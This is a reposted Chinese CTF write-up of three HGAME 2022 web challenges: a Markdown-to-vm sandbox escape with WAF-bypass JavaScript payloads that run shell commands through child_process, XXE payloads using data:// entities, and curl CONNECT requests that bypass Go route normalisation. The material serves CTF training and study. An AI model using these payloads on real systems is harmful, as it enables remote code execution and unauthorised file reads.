HGAME-week4-web-wp

Posted 时空怡梦笙兮

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了HGAME-week4-web-wp相关的知识,希望对你有一定的参考价值。

hgame第四周-web

1.Markdown Online

考点:markdown xss,nodejs vm逃逸,JavaScript语言特性

参考:[HGAME 2022 WEB | Y0ng的博客 (yongsheng.site)](http://www.yongsheng.site/2022/02/17/HGAME 2022 WEB/#more)

以及官方wp和github的payload:

Markdown-XSS-Payloads/Markdown-XSS-Payloads.txt at master · cujanovic/Markdown-XSS-Payloads · GitHub

与登陆相关的代码在 controllers.js:LoginController 里

先看导入了什么,markdown-itzombie

Zombie存在一个沙箱逃逸的rce漏洞,找到了出题人之前写过的一篇文章Nodejs Zoombie Package RCE 分析 | Summ3r\'s personal blog

再看关键:密码转换为大写后要与54g相等,这是不可能的

问题出在 try catch 语句,catch 块没有写return 语句,导致try中的代码抛出错误后继续往下执行,这也是实际开发中很容易犯的一个错误。
所以接下来要做的就是让第 15 行代码报错,对 req.body.password.toUpperCase() 正确的解读方式是:获取 req.body.password对象的 toUpperCase属性,然后把这个属性当作函数来调用。如果这个属性不是函数对象就会抛出错误,比如:

登录处只要让 toUpperCase 抛出异常就可以登陆成功,让password为数组即可使其长度为16绕过

"username":"admin","password":["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"]

或者

"username":"admin","passowrd":"length": 16

接下来就是 markdown 预览功能了,markdown 解析用的是 markdown-it 库,并且开启了对 html 标签的支持:

也就是说 markdown 源码里的 html 标签会被保留而不是被转义。 比如

# header 1
<h2>header 2</h2>

将被解析为

<h1>header 1</h1>
<h2>header 2</h2>

在 SubmitController 里,markdown-it 解析出来的 html 代码会被 zombie.js 加载,zobmie.js 在遇到 JavaScript 代码的时候会将其交给 vm 虚拟机执行

官方文档上有一句警告: The vm module is not a security mechanism. Do not use it to run untrusted code.。实际上 vm 模块可以逃逸, JavaScript 对象的继承是靠原型链实现的,借助原型链可访问到 vm 沙箱以外的内容,实现 RCE。

所以解题思路就是利用 markdown-it 不转义 html 标签的条件,构造一个恶意的 script 标签,利用其中的代码来逃逸 vm 沙箱并实现 RCE 。
网上很容易找到 vm 逃逸相关的 payload:

this.__proto__.constructor.constructor(\'return process\')().mainModule.require(\'child_process\').execSync(\'calc\')

不过得 bypass 一下 waf
利用 JavaScript 的语言特性, obj.contructor 可以变为 obj["contr"+"uctor"]的形式, + 也被 ban 了,可以用concat拼接字符串的形式: obj["constru".concat("ctor")]
this 和 process 可以用 eval("th"+"is") 的形式绕过。
由于没有 ban 掉 eval,其实绕过 waf 的方法很多,可以将要执行的代码base64编码,或者
String.fromCharCode 来构造

Flag:hgame3nj0yTh3/pR0tOtype*/pOllut10n!1n_j@v4scr1pt

Y0ng博客的做法:

接着审计提交的控制器

先将传入的代码进行md渲染编程html,接着利用Browser中的load进行操作

load又调用了this.tabs.open( html: html ) 其实这里的 open 就是漏洞的入口

剩下分析移步Nodejs Zoombie Package RCE 分析 | Summ3r\'s personal blog

祥云杯是通过visit为入口,这道题是以load为入口,那整体就是,将传入的代码在提交之后渲染为html,然后放入沙箱中运行,让其逃逸即可,这里还需要markdown的语法

发现在 vm 模块运行js代码,代码运行的上下文是 window对象

但是这里存在一个waf

function waf(code) 
    const blacklist = /__proto__|prototype|\\+|atlert|confirm|escape|parseInt|parseFloat|prompt|isNaN|new|this|process|constructor|atob|btoa|apk/i
    if (code.match(blacklist)) 
        return "# Hacker!"
     else 
        return code
    

过滤了关键词,给出两种 绕过,当我想要以相同方式 绕过this时,发现对于this不适用,然后找到了这篇文章

nodejs沙箱与黑魔法 - 先知社区 (aliyun.com)

尝试调用 window 的方法 然后调用 constructor 向上 返回的一个 Function constructor 然后 利用Function对象构造一个函数并执行

Payload:

<script>
var a=\'const\';var b=\'ructor\';var c=[a,b].join(\'\');
var d=\'return p\';var e=\'rocess\';var f=[d,e].join(\'\');
var h=\'child_p\';var i=[h,e].join(\'\');
var j=\'th\';var k=\'is\';var l=[j,k].join(\'\');
x= clearImmediate [c][c][c][c](f)();y=x.mainModule.require(i);z=y.execSync(\'whoami\').toString();document.write(z);
</script>

或者

<script>
var h=\'child_p\';var e=\'rocess\';var i=[h,e].join(\'\');
x=clearImmediate[`$`$`constructo`r``][`$`$`constructo`r``][`$`$`constructo`r``]([`$`$`return proces`s``])();y=x.mainModule.require(i);z=y.execSync(\'cat /flag\').toString();document.write(z);
</script>

后续测试,构造一个constructor即可,成功的window方法:

btoa、cancelAnimationFrame、captureEvents、clearImmediate,print等等可以自行寻找

window方法:clearImmediate()_w3cschool

相关文章:
Markdown xss payload
Markdown-XSS-Payloads.txt

nodejs 沙盒逃逸
Node.js沙盒逃逸分析
nodejs-vm沙箱逃逸
NodeJs 沙盒逃逸分析及原型链的简单学习

nodejs编码:
Nodejs的一些技巧
nodejs代码执行绕过的一些技巧汇总

vm2逃逸payload项目
https://github.com/patriksimek/vm2

2.Comment

考点:XXE 注入, data:// 协议

由于不是很了解xxe,暂时先通过官方wp+参考博客的方式复现

给了 api.php 的源码,在提交评论时数据是以 XML 格式传输的,在 api.php 开头可以看到 libxml 开启了 XML 的外部实体解析,存在 XXE 注入的问题。

libxml_disable_entity_loader(false); 允许外部实体,waf了一些关键字

返回flag的逻辑就是sender需要为admin,但是post数据包里不能有admin关键字(admin 不出现在XML数据里)

本想在content通过一百万个字符绕过preg_match,然后发现题目环境不可以,那就进行外部实体拼接绕过
payload:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe "ad" >
<!ENTITY xxe2 "min" >]>
<comment><sender>&xxe;&xxe2;</sender><content>123</content></comment>

官方payload:可以用 data:// 伪协议将 sender 给 base64 编码,在libxml解析的时候会自动解码。

<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [<!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "data://text/plain;base64,YWRtaW4=" >]>
<comment><sender>&xxe;</sender><content>111</content></comment>

Flag:hgamePr3ud0prOtQc4l*m33ts_Xx3-!nj3cti0n!

比较简洁的一个博客解释:

代码中允许引入外部实体,libxml_disable_entity_loader(false);

协议过滤的比较死,但是能通过compress.zlib://这个协议拿到/etc/passwd这种,但是还是拿不到源码,因为源码里有php。

于是利用data协议的输入流,将输入流base64,将外部实体导入到<sender>当中,绕过waf。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "data://text/plain;base64,YWRtaW4=" >]>
<comment><sender>&xxe;</sender><content></content>sb</comment>

pil1ow师傅的做法非预期了,用html实体编码绕,不用引入外部实体。

<comment><sender>&#97;&#100;&#109;&#105;&#110;</sender><content>sb</content></comment>

好文章

XXE - XEE - XML External Entity - HackTricks

3.FileSystem

考点:Go官方http库特性、http标准

main.go

package main

import (
	"log"
	"net/http"
)

func fileHandler(w http.ResponseWriter, r *http.Request) 
	http.FileServer(http.Dir("./")).ServeHTTP(w, r)


func main() 
	http.HandleFunc("/", fileHandler)
	http.HandleFunc("/there_may_be_a_flag", func(w http.ResponseWriter, r *http.Request) 
		w.Write([]byte(`No! You can\'t see the flag!`))
	)
	log.Fatal(http.ListenAndServe(":8889", nil))

there_may_be_a_flag 就是flag的地方,加上了web服务的flag路由,从而使得我们没法通过直接访问/flag来获取文件。而是得到/flag路由的回显。也就是 No! You can’t see the flag!

本题利用点是

  1. CONNECT 方法不执行路径规范化
  2. 官方的http库在注册路由的时候并没有指定http请求类型,使得在注册路由时相当于把一个路由的所有方法都一起注册掉了。

下图中可以看出在遇到 CONNECT 请求的时候,并没有进行路径的清洗操作,而是直接 handle 了,使得使用"//there_may_be_a_flag"或者"/../there_may_be_a_flag"即可绕过专门注册的路由的限制。

而http.FileServer()函数内部会对路径再次进行清洗。

使得我们可以绕开限制获得"/there_may_be_a_flag"

这道题,将 nginx 作为反向代理,而"/../"这种请求会直接被 nginx 拦掉,所以本题的预期解是:

curl -X CONNECT --path-as-is http://filesystem.hgame.homeboyc.cn//there_may_be_a_flag

参考上面的博客:

从这里开始:there_may_be_a_flag 就是flag的地方,加上了web服务的flag路由,从而使得我们没法通过直接访问/flag来获取文件。而是得到/flag路由的回显。也就是 No! You can’t see the flag!

审计完再结合题目觉得应该是 http.FileServer(http.Dir(“./“)).ServeHTTP(w, r),出了问题,应该是存在漏洞导致可以跨目录读取到flag,搜索了一下,找到了go的一些安全问题

golang的一些安全问题 - byc_404\'s blog (bycsec.top)

随后发现了漏洞的出处 justCTF [*] 2020:Go-fs,出题人在github提交了issue,

net/http: FileServer incorrectly parses Range header when a range starts with two minus signs · Issue #40940 · golang/go · GitHub

非预期payload

curl -X CONNECT --path-as-is http://3445d0f8a3.filesystem.hgame.homeboyc.cn/123/../there_may_be_a_flag

非预期的原理:
如果是 CONNECT 方式请求,就 不会处理url中的特殊字符,导致直接读取flag.其他的请求方法都会在cleanPath中被处理url,golang1.16似乎已经处理了。

以上是关于HGAME-week4-web-wp的主要内容,如果未能解决你的问题,请参考以下文章

[杭电新生赛]HGAME-week1-web-wp